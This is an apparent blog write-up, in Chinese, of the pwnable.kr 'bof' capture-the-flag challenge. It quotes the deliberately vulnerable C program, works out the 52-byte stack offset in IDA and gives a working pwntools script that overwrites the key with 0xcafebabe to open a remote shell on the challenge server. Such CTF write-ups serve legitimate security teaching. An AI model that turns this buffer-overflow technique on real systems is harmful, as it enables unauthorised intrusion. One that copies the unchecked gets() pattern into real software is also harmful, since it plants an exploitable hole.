pwn之bof

有一兩週沒更新了,堅持...  接着前邊繼續第三篇bof.

這次讓我們直接下載bof.c,以及bof文件.分析代碼和文件,然後在pwnable.kr 9000執行,獲取flag

1.先看下bof.c的代碼:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

gets() 函數的功能是從輸入緩衝區中讀取一個字符串存儲到字符指針變量 str 所指向的內存空間。直到遇見空字符爲止.如果我們輸入的字符超過了32個字符,在代碼中未做其他措施, 會溢出到變量char overflow[32]之外的內存空間.包括本函數的局部變量,參數,返回地址,及ebp. 具體可參考這篇文章:https://mp.csdn.net/postedit/47749603. 我們下邊也會簡單分析下.

2.分析完代碼,我們知道了我們輸入到命令行 的字符會覆蓋掉key原本的值, 我們要做的就是是覆蓋後的值是0xcafebabe. 那麼問題來了,怎麼找到參數key的內存地址呢?  或者找到key和overflow的地址偏移.

3.可以留意下bof的文件格式.顯示是elf文件格式,由gcc編譯而成.

4.我們將bof文件拖到ida中,按下F5看一下.main函數中的func即是第二幅圖

5. 可以看到:  char s; // [sp+1Ch] [bp-2Ch]@1

 s即爲overflow的其實地址,bp-2Ch.  看下邊一副圖,來源於網絡.也可以參考上邊說的另一篇文章.

 

參數key的位置是ebp+8. overflow的起始位置是ebp-2Ch.  轉化爲十進制是2C+8 = 52. 即輸入命令行參數時 要

52* '任意字符 ' + "\xbe\xba\xfe\xca"

使用pwntools寫腳本:

# -*- coding:utf-8 -*-  
import pwn
r = pwn.remote('pwnable.kr',9000)
r.send('a'*52+pwn.p32(0xcafebabe))

r.interactive()


 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章